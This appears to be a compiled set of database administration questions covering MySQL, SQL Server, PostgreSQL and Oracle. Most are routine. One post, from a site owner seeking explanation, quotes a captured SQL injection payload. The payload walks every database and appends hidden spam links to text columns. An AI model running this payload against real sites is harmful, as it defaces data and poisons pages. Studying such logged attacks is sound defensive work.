A MySQL DB has a limit of 100 client connections but some clients are not using the connection any more. I assume MySQL will eventually drop the connection but is this configurable?


texts: how to convert this varchar to datetime2(7) format?

texts: Can any one help how to convert '20200309150920' string to Datetime like 2020-03-09 15:09:20.


texts: Server Integrity Check CheckCommands question

texts:
I am trying to figure out what is the best CheckCommands option for ServerIntegrity check.

Should I leave the job defaults as is?

EXECUTE [dbo].[DatabaseIntegrityCheck] @Databases = 'USER_DATABASES', @LogToTable = 'Y'

Should i run the CHECKALLOC,CHECKTABLE,CHECKCATALOG option separately or is it included in the above? Same for the CHECKFILEGROUP option.


texts: SQL Server Profiler - Disable auto scroll by default

texts:
Is there a way for new traces to start with auto scrolling disabled?

This is the very first thing I do every time I start a trace and I'd like to optimize my workflow, especially since I run multiple traces on numerous servers, and each one starts with this option enabled (even within the same instance of Profiler).

I would be open to an AutoHotKey workaround. For example, I use a script that detects when a window with ID 32770 is opened to auto-type "y" (to change a file extension in Windows Explorer it falsely matches the Outlook Rule name popup window though). Also note that it can take exorbitantly long for Profiler to open, because my machine is underpowered.

P.S. To add insult to injury, if you're too fast going to the menu to disable auto scroll on your new trace, it doesn't let you...


texts: Where to find the OID of a newly created Schema

texts: I have created a new Schema in my Postgres db. I want to replace an OID in the pg_class table with the OID of the new Schema. But I don't know where to find the OID of the newly created Schema. Can somebody help me with the right queries?


texts: Max_packet_allowed setting for Windows 7

texts: We have windows xp machine with older version of mysql. So when we need to import huge data we just set the max_allowed_packet=1500M in the C:\Program Files\MySQL\MySQL Server 5.1 . Now we loaded the latest mysql 5.6.12. We are trying to import the same date and we find there are few my.cnf file on is in the program file and another in programme data both change yet we cant import the same data. Where else to change even after the change we started the service by going into the admistrative tool.


texts: How to improve this product rental schema?

texts:
I have a rental system where each product's stock item can be rented from a location and returned to a different location (think Alamo, Hertz etc.). When saving an order, first an inventory event is saved (to lock the inventory), and then each order item is saved.

I'm curious to know how my schema can be improved to avoid denormalization. Can I somehow use the event table in a better way as a base for my order items?

Also if necessary, how should I adjust my design to avoid data inconsistency?

inventory_events
==========================
id                    (PK)
inventory_item_id     (FK)  --> inventory_items
location_id           (FK)  --> locations (Store 1, Store 2 etc.)
checked_out_flag
inventory_status_id   (FK)  --> inventory_status (rented out, stolen, on service etc.)
comment
event_date

order_items
=============================
id                       (PK)
order_id                 (FK)  --> orders
inventory_item_id        (FK)  --> inventory_items
status_id                (FK)  --> order_status (on hold, processed, prepared etc.)
unit_price
item_description
comment
deliver_at
delivery_to_address_id   (FK)  --> addresses
due_at
returned_at


texts: What do the entity-relationship diagram (ERD) symbols used in DBeaver mean?

texts:
I don't understand the ERDs used by DBeaver. The diamonds and dots at the ends of the line arent the crow's foot I'm used to. I've googled the subject and checked the docs but can't find a straight-forward answer.

Is there a reference for the style used? What do these symbols mean?

Please see the image below:


texts: Could I set my InnoDB MySQL Server session state for SQL_SAFE_UPDATES and INNODB_FLUSH_LOG_AT_TRX_COMMIT?

texts:
Could I set my InnoDB MySQL Server session state for SQL_SAFE_UPDATES and INNODB_FLUSH_LOG_AT_TRX_COMMIT using MySQL Workbench's  SQL Query window or MySQL Connection Navigator instead of in a c# Mono, .NET 4.5 MySQLCommand constructor on Ubuntu Linux 15.10?

If not, could I set my InnoDB MySQL Server session state for SQL_SAFE_UPDATES and INNODB_FLUSH_LOG_AT_TRX_COMMIT using the MySQL server startup script? Where is that located on the Ubuntu Linux 15.10, and what mysql command line arguments should I put in the MySQL server startup scripts?

Here is my SQL script which I wish to run in the SQL Query window:

-- Current Database: `scdvr`
--

CREATE DATABASE IF NOT EXISTS `scdvr`

USE `scdvr`;

SET SQL_SAFE_UPDATES = 0;

SET GLOBAL INNODB_FLUSH_LOG_AT_TRX_COMMIT = 2;
--
-- Table structure for table `ActionSequence`
--

DROP TABLE IF EXISTS `ActionSequence`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `ActionSequence` (
  `ASID` varchar(64) NOT NULL,
  `EAID` varchar(64) NOT NULL,
  `SequenceOrder` smallint(6) NOT NULL DEFAULT '0',
  `Enabled` tinyint(1) NOT NULL DEFAULT '1',
  `Toast` tinyint(1) NOT NULL DEFAULT '0',
  `SendToCentral` tinyint(1) NOT NULL DEFAULT '0',
  `LogAsEvent` tinyint(1) NOT NULL DEFAULT '0',
  `CameraGroupID` int(11) DEFAULT NULL,
  `AudioAlertFile` varchar(800) DEFAULT NULL,
  `EmailAddresses` varchar(1500) DEFAULT NULL,
  PRIMARY KEY (`ASID`),
  UNIQUE KEY `ASID` (`ASID`),
  UNIQUE KEY `EAID` (`EAID`),
  KEY `IX_ActionSequence_EAID` (`EAID`),
  KEY `FK_ActionSequence_CameraGroups` (`CameraGroupID`),
  CONSTRAINT `FK_ActionSequence_CameraGroups` FOREIGN KEY (`CameraGroupID`) REFERENCES `CameraGroups` (`CameraGroupID`) ON DELETE SET NULL ON UPDATE NO ACTION,
  CONSTRAINT `FK_ActionSequence_EventAction` FOREIGN KEY (`EAID`) REFERENCES `EventAction` (`EAID`) ON DELETE CASCADE ON UPDATE NO ACTION
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;


texts: Check linked server database status registered in the DBConfig Database

texts:
I am working with the Code below to check all the entries in the XXX Database of all the databases linked to the instance
Server- XXX
DB _YYY
However when i run the Code, it throws an error i specified in the try - catch Statement ' Not connected' on the Status column.
I want the resuts to Display all the entries in the DBYYY and their Status
Online, Offline.
Example:

Server                   Database                    Status
AVYHSDBS                 Test                        Online
ANSDMDHDH                MDB                         Offline
AHJDS                    SDB                         Not Connected
AHDGD                    KDB                         Could Not connect to Server

………
Can someone please help me here. thanks

My Code is below:

DECLARE @ABC SYSNAME
DECLARE @DEF SYSNAME
DECLARE @Status  NVARCHAR(100)
DECLARE @DBState Table (DBName sysname, Status1 NVARCHAR(100))
DECLARE @remote_databases TABLE(Server sysname, Datenbank sysname, Status nvarchar(200))

DECLARE LinkedServersCur CURSOR FOR
         Select ABC, DEF from YYY
         Where GHI = 1;
OPEN LinkedServersCur;
FETCH NEXT FROM LinkedServersCur INTO @ABC,@DEF
WHILE @@FETCH_STATUS = 0
BEGIN
    BEGIN TRY
                    Execute sp_testlinkedserver @ABC

                    Set @Status = (N'SELECT m.name, m.state_desc FROM [' +  @ABC)+ '].[master].[sys].[databases] m '
                    Insert into @DBState execute sp_executesql @status

                    Insert into @remote_databases (Server, Datenbank, Status )
                    values (@ABC, @DEF, @status  )

                    select @ABC, DBName, status1 from @DBState
                    Delete from @remote_databases

    END TRY
    BEGIN CATCH
                    Set @status = 'NOT CONNECTED '
                    Insert into @remote_databases
                    Values (@ABC,@DEF, @Status)
    END CATCH

FETCH NEXT FROM LinkedServersCur INTO @ABC,@DEF

END
CLOSE LinkedServersCur;
DEALLOCATE LinkedServersCur

SELECT * FROM @remote_databases
Where Datenbank not in ( 'master' , 'tempdb' , 'model' , 'msdb' , 'DBConfig')


texts:
I am trying to pull the differences between two tables, each in a different database.  I thought I could just do a full outer join but I am getting back too many results.

The T-SQL below returns 167 results

SELECT N'{'+ADobjectGUID+N'}' [GUID], first_name [First], last_name [Last], description [Full] FROM [db1].[dbo].[tb1] where delete_date is null
except
SELECT ObjectGUID [GUID], GivenName [First], sn [Last], displayName [Full] FROM [db2].[dbo].[tb1]

When I reverse it to be the below, it returns 214 results

SELECT ObjectGUID [GUID], GivenName [First], sn [Last], displayName [Full] FROM [db2].[dbo].[tb1]
except
SELECT N'{'+ADobjectGUID+N'}' [GUID], first_name [First], last_name [Last], description [Full] FROM [db1].[dbo].[tb1] where delete_date is null

However, I need more than just those columns from the databases, so I can't use the except statement.

select N'{'+ADobjectGUID+N'}' [GUID], first_name [First], last_name [Last], db1.dbo.tb1.description [Full], domain_user_id, sAMAccountName, employeeID
from db1.dbo.tb1
full outer join [db2].[dbo].[tb1]
on ObjectGUID = N'{'+ADobjectGUID+N'}'
    and first_name = GivenName
    and last_name = sn
    and tb1.description = displayName
where db1.dbo.tb1.delete_date is null

That query results in 1784 results.  Based on the above, I should be getting 371 results.  What am I missing.  I am still new to SQL and am sure it is something small.


texts:
I have two tables called my_nodes and restaurants that contain a name and geoloc data. I need to get a table that for each my_node returns nearest restaurant and distance from node to restaurant.

    select n.node_id, r.r_name , sdo_nn_distance(1) as min_distance from
        (select nodeid as node_id, geoloc  from my_nodes@my_server ) n,
        (select r_name, GEOLOC from restaurants) r
        where sdo_nn   (n.geoloc, r.GEOLOC,   'Unit = MILE sdo_num_res = 1', 1) = 'TRUE'

The query above returns:

    ORA-13249: SDO_NN cannot be evaluated without using index
    ORA-06512: at "MDSYS.MD", line 1723
    ORA-06512: at "MDSYS.MDERR", line 17
    ORA-06512: at "MDSYS.PRVT_IDX", line 9

How to fix it?


texts: can anyone help me with this awful query plan?

texts:
The query:

    SELECT Object1.Column1, Object2.Column2 AS Column3, Object2.Column4 AS Column5,
Object3.Column6, Object3.Column7,Object1.Column8, Object1.Column9,
Object1.Column10, Object1.Column11, Object1.Column12, Object1.Column13,
Object1.Column14, Object1.Column15 as Column15, Object1.Column16,
Object4.Column4 AS Column17, Object4.Column2 AS Column18, Object1.Column19,
 Object1.Column20, Object1.Column21, Object1.Column22, Object1.Column23,
Object1.Column24, Object1.Column25, Object1.Column26, Object5.Column4,
Object1.Column27, Object1.Column28, Object1.Column29, Object3.Column30,
Object3.Column1 as Column31, Object3.Column32 as Column33, Object1.Column34
as Column34, ? AS Column35 , Object3.Column36 as Column37
FROM Object6 AS Object1
INNER JOIN Object7 AS Object3 ON Object1.Column38 = Object3.Column1
INNER JOIN Object8 AS Object2 ON Object3.Column30 = Object2.Column1
LEFT JOIN Object9 AS Object4 ON Object1.Column16 = Object4.Column2
LEFT JOIN Object10 AS Object5 ON Object1.Column9 = Object5.Column2
WHERE Object2.Column1 <> ? AND Object1.Column8 = ?
AND ( coalesce(Column16,?)= ? )
AND EXISTS (
         SELECT ?
         FROM Object11
         WHERE Column39 = ?
         AND Column30 = Object3.Column30)
ORDER BY Column7 desc
OFFSET ? ROWS FETCH FIRST ? ROWS ONLY

here is the query plan

I know that I should maybe add an index on this:

Database1.Schema1.Object7.Column30, Database1.Schema1.Object7.Column36, Database1.Schema1.Object7.Column6, Database1.Schema1.Object7.Column32

but one of this columns is a varchar 4000 and it can't be created cause of the big dimension of the field.

I noticed that it takes 25 second only if the rows returned are fewer than the fetch first number


texts:
Could anyone help on how to remove white spaces from an XML file?

I  used the following code that i got from  Mikael Eriksson on Stack Exchange to extract the site id:

cast(msg as xml).value('(/DLR_NOTIFICATION/siteid/text())[1]', 'int') AS SiteID

from the following xml:

<DLR_NOTIFICATION>
  <kid>204122</kid>
  <siteid> 7929 </siteid>
  <transid>1c3508e7-f80e-44de-bdf6-3687ff3da84a</transid>
  <service>00000</service><mobile>447500000</mobile>
  <msisdntype>IPAlias</msisdntype>
  <operator>Three</operator>
  <status>100</status>
  <tariff>600</tariff>
  <billingroute>ImpulsePay</billingroute>
  <purpose>IMPerial NOTIFICATION</purpose>
  <tracking>
    <aff>14_z</aff>
    <param>undefined</param>
    <paramdetails>kp=xkpgbadu201409232240100000000000000000000000231</paramdetails>
  </tracking>
</DLR_NOTIFICATION>

How do I trim the whitespaces or any unwanted characters? Or if there is any better way of dealing with this?

I realised that some of this XML have got whitespaces within as shown above in the siteid had caused the below error message

  Msg 245, Level 16, State 1, Line 100 Conversion failed when converting
  the nvarchar value ' 7929 ' to data type int.


texts:
I have query which has a cross join and also a left join which produces an error

 Unknown column 'a.hour' in 'on clause'

simplified version of query is like this

SELECT b.*,a.hour,c.datetime
FROM
a,b
LEFT JOIN c ON hour(c.datetime) = a.hour;

but when this query written as below it works.

select f.*,c.datetime
from
(select a.Hour,b.sec FROM a, b)f
LEFT JOIN c ON hour(c.datetime) = f.hour;

even this query works but result is not what I expect

select b.*,a.hour.c.datetime
from
a
LEFT JOIN c ON hour(c.datetime) = hrs.hour,b;

This looks very strange to me. Can anybody explain to me why is this happening? I have tried this on mysql 5.0 and 5.6. both having the same result.

Bellow is my actual query That i am working on. If it looks too large and awkward is because I am trying to achieve full outer join without repeating one of the main queries twice. (Left And Right Join). Hrs table contains 1 to 24 and text like '1:00 to 2:00 Pm'.

SELECT DnT.text,IFNULL(BrowsingTime.username,upAppUsage.username) as  username,dDate,
IFNULL(BrowsingTime.wDay,upAppUsage.wDay) as wDay,
productive,
unProductive,
Total,
Game,
Chat,
Video
FROM
(
    SELECT hrs.hour,hrs.text,dates.dDate
    FROM
    hrs,
    -- ALL THE user,DATE WITH REPORT
    (
        SELECT date(surfDateTime) as dDate,userid
        FROM browsingtime
        WHERE
        DATE(surfDateTime) BETWEEN '2013-10-01' AND '2015-10-10'
        GROUP BY dDate,userid
        UNION
        SELECT date(snapshotDateTime)as dDate,userid
        FROM AppUsage_user_hour
        WHERE
        DATE(snapshotDateTime) BETWEEN '2013-10-01' AND '2015-10-10'
        GROUP BY dDate,userid
    )dates
) AS DnT
LEFT JOIN
-- USER BROWSING TIME PER HOUR PER DATE
(
    SELECT rb.userId,CONCAT('(',user.id,') ',user.username) AS username,
    date(surfDateTime) surfdate, HOUR(surfDateTime)as hr,DAYNAME(surfDateTime) AS wDay,
    SUM(IF(up.isProductive = 1,rb.duration,0)) as productive ,
    SUM(IF(up.isProductive = 0,rb.duration,0)) as unProductive,
    SUM(rb.duration) as Total
    FROM `user`
    INNER JOIN usergroup ON usergroup.id = `user`.userGroupId
    INNER JOIN browsingtime rb ON `user`.id =  rb.userId
    LEFT OUTER JOIN url_productive up ON up.urlshortid = rb.urlShortId
    WHERE
    DATE(surfDateTime) BETWEEN '2013-10-01' AND '2015-10-10'
    AND user.userGroupId IN (1,2,3,4,5,6,7,8,9,10)
    GROUP BY surfdate, hr,rb.userId
)as BrowsingTime ON DnT.hour = BrowsingTime.hr AND BrowsingTime.surfdate = DnT.dDate AND DnT.userId = BrowsingTime.userId
LEFT JOIN
-- APPLICATION USAGE
(
    SELECT r.userId,CONCAT('(',u.id,') ',u.username) AS username,
    date(r.snapshotDateTime)as usageDate, HOUR(r.snapshotDateTime)as hr,DAYNAME(r.snapshotDateTime) AS wDay,
    SUM(IF(sl.categoryId = 2 , softwareActiveTime,0)) as Game ,
    SUM(IF(sl.categoryId = 9 , softwareActiveTime,0)) as chat ,
    SUM(IF(sl.categoryId = 8 , softwareActiveTime,0)) as video
    FROM AppUsage_user_hour r
    INNER JOIN USER u ON u.id = r.userId
    INNER JOIN usergroup ON usergroup.id = u.userGroupId
    INNER JOIN clientpc cp ON cp.id = r.pcId
    INNER JOIN softwares sl ON sl.id = r.softwareId
    WHERE sl.categoryId IN (2,8,9)
    AND  DATE(r.snapshotDateTime) BETWEEN '2013-10-01' AND '2015-10-10'
    GROUP BY usageDate,r.userId
)as upAppUsage ON DnT.hour = upAppUsage.hr AND upAppUsage.usageDate = DnT.dDate AND DnT.userId = upAppUsage.userid
WHERE
IFNULL(BrowsingTime.userId,upAppUsage.userId) IS NOT NULL;


texts: Fastest way to set up MySQL replication from backup

texts:
Here's my scenario:

I have a single database on network A that needs to be transferred to network B.
on network B, I need a master-slave setup with 2/3 slaves.
I need to run some significant updates / deletions to the database before it can be put into production again This will probably take a few hours.
Most importantly, I need to minimize downtime.

My current plan is to:

turn off MySQL
backup the MySQL datadir
run my scripts to update the database to the new schema
rsync the entire datadir to all master/slave servers on network B

At this point I have exact copies of the data on all servers. From what I've read, I should then be able to extract the binlog status and start replication.

Does this sound like a reasonable plan, or am I missing something obvious that would a) rule this out or b) make this easier / faster?


texts: Best approach to mirror All databases of a sql server

texts:
I see here that we have a lot of questions about best approach to mirror a single database. I got a new job and people there is  under a task to mirror all databases, to a secondary one, in a different city for security (if we lost a server, we have everything on the mirror).

1) to mirror ALL databases, should I repeat the mirroring step for every database?

2)is this the best approach to high availability?

I'm thinking about something with raid, so we have a mirror disk that if a disk fails, there is this secondary ( i just forgot what raid is this, im on the cellphone and will search later).

I think there will be a lot of requests to mirror the data ( it's not going to be synchronous) if we really  chose to mirror ALL databases ( there are more than 200).

What would you  guys do in this situation? I would even prefer log shipping.

I just found this question  but i really need to sleep now. Will study it tomorrow. It says about log shipping too.


texts:
I'm a very green DBA at my company, and ran the sp_Blitz script (on one of our test databases that is an exact copy of our production database), and I only get the message "Command(s) completed successfully.".

Is there a reason why I don't get a more detailed output?  Or is the output file written somewhere else?


texts: Is there a way to enumerate all locks that are currently being held via get_lock()?

texts:
I'm not seeing a way to list all locks currently being held by get_lock.  I see you can check is_free if you know the name and release as well.

I don't see an obvious function or infomration_schema table that would hold that information.


texts: PostgreSQL return word after matching first character

texts:
I would like to return the words beginning with ':' from 'select :barns, :fowl, :cows from farm' using regexp_matches.

So far I have:

select regexp_matches('select :barns, :fowl, :cows from farm', '([:])\w+', 'g')

But this only returns the set {:}, {:}, {:}. I would like it to return {:barns}, {:fowl}, {:cows}

Thanks!


texts: Has anyone had success with mirroring the distribution database? We have a dedicated server as a Distributor. It handles all our push replication from prod to reporting. We'd like to build an identical server, close by, in case the distributor crashes. Has anyone had success building something like this?


texts: bulk copy out huge table on sybase adaptive server

texts:
anyone has a good approach or even strategy to bulk copy out single table with 500+ millions rows. the table encountered unitialized logical page, and we are looking to atleast salvage good records.

we are running sybase adaptive server version 12.5 on linux platform.

TIA


texts: Postgres database dump and restore on different database

texts:
I have two Postgres databases on the same server, which have the same schemas.
The goal is to have DB1 as the production and DB2, as the database that will receive all the data that is migrated from a MySQL db, and then use the dump created after the migration on DB2 to restore the DB1. In other words, dump DB2 and use this dump to perform a restore on DB1.

This would allow to have the production DB1 "always" available even when the migration process is taking place on DB2.

My question is, is it possible to use the DB2 dump to restore the DB1? Or should a different strategy be used -
like renaming the databases?
Thank You


texts: Script not allowed to create schema objects when generating tables despite db_owner role

texts:
I am looking to make a "schema only" (no data) copy of a database on my local server. I used Tasks -> Generate scripts to script the tables from my existing database and then after creating the new database opened a query window and pasted the copied scripts in.

When I ran the scripts I received the following error ...

Msg 2760, Level 16, State 1, Line 1
The specified schema name "abc" either does not exist or you do not have permission to use it.
Msg 2760, Level 16, State 1, Line 1
The specified schema name "xyz" either does not exist or you do not have permission to use it.
Msg 2760, Level 16, State 1, Line 1

Now some of the tables I selected to be scripted do make use of different schemas (abc & xyz) yet I am unsure as to why they cannot be scripted. Looking at my login I am mapped to the db_owner role which I would think would give me the appropriate permissions to create the schema. I am using SQL Server 2012.


texts: Explain how this real injection attempt works

texts:
We use stored procedures and so far we haven't detected any injections that have been successful, but we see attempts all of the time.  I started logging some of the data hoping to gain insight on what people were attempting and possibly use it to block any future attempts by new methods.  Here is the code of something someone tried to run on our site today, they tried it with syntax 8 different ways.  I can understand some of it, but not all of it.  So I was hoping someone else who knows more could tell me how exactly this works and what it was trying to do (I believe it was trying to insert links to a page using hidden divs in MAX columns in all of our databases).

declare @b cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master','tempdb','model','msdb',DB_NAME());open @b;fetch next from @b into @w;while @@FETCH_STATUS=0 begin set @s='begin try use '+@w+';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''''+char(60)+''div style="display:none"''+char(62)+''my wife cheated now what do i do ''+char(60)+''a href="http:''+char(47)+char(47)+''www.femchoice.org''+char(47)+''femchoice.org''+char(47)+''page''+char(47)+''wife-cheated-on-me-now-what.aspx"''+char(62)+''''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''femchoice.org'''' when 1 then ''''femchoice.org'''' else ''''femchoice.org'''' end +''''''+char(60)+char(47)+''a''+char(62)+'' what to do when your wife cheated on you''

That's exactly how it was injected.  They declare some variables to move data around, then get the name of each of the non-system databases.  From there I'm not sure what it's doing but I'm guessing it goes through all the tables looking for max columns and if it finds one, it finds some rows and writes links to them.


texts: Fetch just inserted data in master/slave model?

texts:
Say I have MySQL master DB(used for updates) and corresponding Slave DB(used for reads). Now user inserts the data into MASTER through application(java), just after insertion he tries to retrieve the data which will go slave. I am sure there be some time lag in replication from master to slave(may be of few Millis) and it won't be instantaneous.

My question is how to deal this scenario in master slave model where user will definitely expect the latest data inserted by him down the line.

Does it need to be handled at application level i.e. wherever transaction reads/fetches the data with any CUD, it should be done from Master so that latest data inserted by same transaction is retrieved or are there some other better ways too?

For example:- User first created the account . Insert goes to Master but when he fires the query to retrieve the user details like user_id, name call will go to slave and he may not be getting any data ?


texts: sp_send_dbmail sending failed even status is sent

texts:
I had an issue since last week wherein the last received e-mail was last Dec 29.

The job had no problem since it was created (months ago).

The problem is we haven't receiving the e-mail even when the status of the job had no problem.

Below is the script:

USE msdb
EXEC sp_send_dbmail
@profile_name='eapb_profile',
@recipients='ebayron@mail.com',
@subject='xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx Message',
@body='xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx Message',
@file_attachments='\\sharedfolder\generate_file.txt'

When I'm doing a trial and error in my local database, it really was being run without error but still not receiving the e-mail. But when I tried to change the body/subject (I tried to shortened it), I am now receiving the e-mail.

When I checked though the documentation of MS, limit of body is NVARCHAR(MAX) yet my original body subject is far to reach the limit.

What seems to be the problem?

Take note of the following:

No problem in mail server since I can send with shortened body / subject.
Attachment is present in the shared folder.
Shared folder is accessible.
No problems with database mail profile and account.

I've already checked dbo.sysmail_allitems and its status is 'SENT'


texts:
I'm trying to figure out the best way to configure MySql so that I can have redundancy - so for example - I would have two servers, both through the same host, but at different datacenters in the event one dc has limited to no availability.

In my perfect world scenario I would do updates to Server 1- reboot and not worry about the DB going down as Server 2 would still be online. When Server 1 comes back, I could update Server 2, reboot, etc etc. You get the idea. Basically - having one Server pick up and take over if the other goes offline - or vice versa.

I've read about Master/Slave setup - however it doesn't sound like this will solve my problem as Slaves are only written to by the master.

I've also read about Master Master setup - which I had originally thought was the ticket - however, after further research i came across articles basically stating that writing to Server 2 while Server 1 was done in a Master - Master setup could be detrimental (I can't remember the exact reasoning) - so that scared me away from using the Master Master setup.

I'm not sure if what I want to accomplish is possible - in my ongoing research I can't seem to find a solid - "this is what you want to do" article. Would love any advice on how I could accomplish what i'm looking for (if its possible).

Thank you in advance.


texts: Issue with users creating objects in a user owned schema

texts: I gave a group (AD group) in SQL 2014, access to create, alter, delete objects in a schema [Test] in a database that they have datareader. The user testing (UserA) is able to create objects in a user schema [UserA].[Table_test]. How do I prevent this? I had to grant Create table, view, procedure to the database, but they do not have access except in schema [Test].


texts: Designing a globally distributed database

texts:
We are trying to design a globally distributed Azure Cosmos DB and we’re not sure how to best do that:

There is data that should be replicated in every region to improve read performance. This data is updated/added to infrequently, and will be placed in a global database.

However there is data that is added frequently that we don’t want to replicate in all regions, because writing it everywhere would be expensive, and ~90% of the time it will be accessed from the same region. This data will be placed in local databases.

Our main questions relate to this separation of global and local data.

1. How (best) do we reference local data from global data and route requests?

For example, we have Users, and their user data will be stored in the global database. However, Users have Devices (immobile IoT devices, residing in a User’s home) that produce frequent Measurements (sensor readings), and these Devices and their Measurements would be stored in a local database in the region where the devices are located.

If a User requests information for one of their Devices, how do we route the request? How do we know “Oh, their Device is in Canada, go to that database and retrieve the info”? Is an appropriate solution to give the id of a Device a prefix denoting the region it is in? Then we could look in the User document (global) and see the list of Device Ids that belong to the User and know which database the devices are in? This doesn’t seem like an ideal solution.

2. On a related note, if a country requires that each citizen’s data must be stored in a local database within that country, a) how do we route all requests to the local database? b) how does a customer from that country access their data if they are traveling outside that country?

For example, it is possible that all our Germany customer data will have to be stored within the country. That means that German User documents will be stored in Germany, and not globally. If a German comes to Canada and therefore connects to our Canadian app service, how can we 'make it aware' that it should query the German database for the User document?

If you need any additional info or clarifications, please leave a comment!

Thanks in advance!


texts:
I had an activity for restoring a full database in SQL server 2008.
I had to restore the database will norecovery since I had to restore the differential backups as well which will be shared everyday.
My query is how do I check the row count of a database which is under recovery?
Thank you.


texts: How can I get an object's "script as..." script through code?

texts: In SSMS I can right click on an object in Object Explorer (e.g. a table, key, constraint, or index) and go Script As -> Create To -> New Query Editor Window. This outputs the creation script in t-sql for that object. I would like to know if there is a function or procedure available that can do that which I can call, as I'm writing a script and can't rely on UI elements.


texts: How can I change SQL Agent Log file to use unicode format?

texts:
I've created a database with tables that heavily leverages nvarchar for most of the columns.  One of the challenges I'm running into is that when I go to view the SQL Server Agent Log files, I get the following error noted below.  I've been scouring Google and haven't been able to find anything that closely resembles the scenario I'm experiencing.  Short of re-installing the entire server (which is really isn't an option at this point), how can I flip some sort of switch to make the log files readable again?

(Sorry don't have enough rep here to post an image.  Here's the link to the image.)

http://i.stack.imgur.com/VW7hw.png

Here's the details behind it:

  ===================================

  The log file is not using Unicode format. (.Net SqlClient Data Provider)

  For help, click: http://go.microsoft.com/fwlink?ProdName=Microsoft%20SQL%20Server&ProdVer=11.00.3000&EvtSrc=MSSQLServer&EvtID=22004&LinkId=20476

  Server Name:
  Error Number: 22004
  Severity: 16
  State: 1

  Program Location:

  at System.Data.SqlClient.SqlConnection.OnError(SqlException exception, Boolean breakConnection, Action1 wrapCloseInAction)
    at System.Data.SqlClient.SqlInternalConnection.OnError(SqlException exception, Boolean breakConnection, Action1 wrapCloseInAction)
    at System.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject stateObj, Boolean callerHasConnectionLock, Boolean asyncClose)
    at System.Data.SqlClient.TdsParser.TryRun(RunBehavior runBehavior, SqlCommand cmdHandler, SqlDataReader dataStream, BulkCopySimpleResultSet bulkCopyHandler, TdsParserStateObject stateObj, Boolean& dataReady)
    at System.Data.SqlClient.SqlDataReader.TryConsumeMetaData()
    at System.Data.SqlClient.SqlDataReader.get_MetaData()
    at System.Data.SqlClient.SqlCommand.FinishExecuteReader(SqlDataReader ds, RunBehavior runBehavior, String resetOptionsString)
    at System.Data.SqlClient.SqlCommand.RunExecuteReaderTds(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, Boolean async, Int32 timeout, Task& task, Boolean asyncWrite)
    at System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method, TaskCompletionSource`1 completion, Int32 timeout, Task& task, Boolean asyncWrite)
    at System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method)
    at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior, String method)
    at System.Data.SqlClient.SqlCommand.ExecuteDbDataReader(CommandBehavior behavior)
    at System.Data.Common.DbCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior)
    at Microsoft.SqlServer.Management.SqlManagerUI.LogSourceSqlAgent.InitializeInternal()
    at Microsoft.SqlServer.Management.SqlManagerUI.LogSourceSqlAgent.Microsoft.SqlServer.Management.SqlManagerUI.ILogSource.Initialize()
    at Microsoft.SqlServer.Management.SqlManagerUI.LogSourceAggregation.Microsoft.SqlServer.Management.SqlManagerUI.ILogSource.Initialize()


texts:
Is there a way to show the Cluster database's uptime?

Obviously I can see each individual node's database uptime with the likes of:

SHOW GLOBAL STATUS LIKE 'Uptime';
select TIME_FORMAT(SEC_TO_TIME(VARIABLE_VALUE ),"%Hh %im") as Uptime from information_schema.GLOBAL_STATUS where VARIABLE_NAME="Uptime";

But this is not the same as the time the cluster database has been operating without interruption...?

(and longest time of all the nodes would not necessarily give an approximation either as nodes can come and go, but the DB should still be up)
(there doesn't see to be a suitable status variable, including wsrep variables)


texts: PostgreSQL - How to create a function to validate a field is DateTime?

texts:
I would like to create a function to validate a field from an import table and ensure the field is in 'DateTime' format. I am not entirely sure how to do this and would appreciate any help?

Function Name: val_datetime
Field: Created Date
Format: dd/mm/yyyy hh:mm:ss

Thank you for any help.


texts: How to add ansi null and ansi warning in connection string

texts:
Using RDO Connection

Connection String

Set RdoVisPay = rdoVISENV.OpenConnection("VISA", 1, False, "DSN=VISA;UID=sa;PWD=sa;APP=Visual Basic;WSID=" & ServerName & ";DATABASE=" & Database1)

Showing error as "heterogeneous queries require the ansi_nulls and ansi_warnings options to be set for the connection"

How to add the ansi_nulls and ansi_warning Connection in the connection string.

Need Suggestion and Help.


texts: Best practices for SQL Server block size while formatting disks for data and log files

texts:
What is the current best practice or general guidance on formatting the filesystem for SQL server database files.
Currently we have SQL Server file system, NTFS formatted with 64KB block size based on these Microsoft guidelines.
I am not sure how much is this applicable right now and how do we find the best fit as with the latest Windows  servers we can go with formatting up to 1 or 2 MB.
Therefore I am looking for advice how to format the disk for modern SQL Server say 2017 and up, with the latest Windows, as the MSDN documentation seems out of update. Would a different block size, like 512 KB or 128 KB be better to format the drives where mdf, ndf and ldf files reside.


texts: Full Text Search Term Casing Affects Results

texts:
I have been experiencing a full text problem when searching using CONTAINS. I have the full text catalog accent sensitive setting set to false.

The table contains following rows:

Microsoft C#
Microsoft Visual C
Microsoft C

When I try to get "Microsoft C#" using the following query:

select name
from fulltexttable ft with (nolock)
where contains (
        ft.name
        ,N'microsoft and c#'
        )

...it yields the following results:

Microsoft Visual C
Microsoft C

I tried using different casing. It yields the different result set:

select *
from fulltexttable with (nolock)
where contains (
        name
        ,N'microsoft and C#'
        )

Result:

Microsoft C#

The second one is what I expected. I thought SQL Server performed a case insensitive search to get the data, but it seems casing affects the full text results?


texts: Removing values from array in postgreSQL

texts:
Lets say I have a table called users, who looks something like the following:

users table:

|user_id | name |
   1        Bob
   2        Alice
   3        Joe
   4        Tom

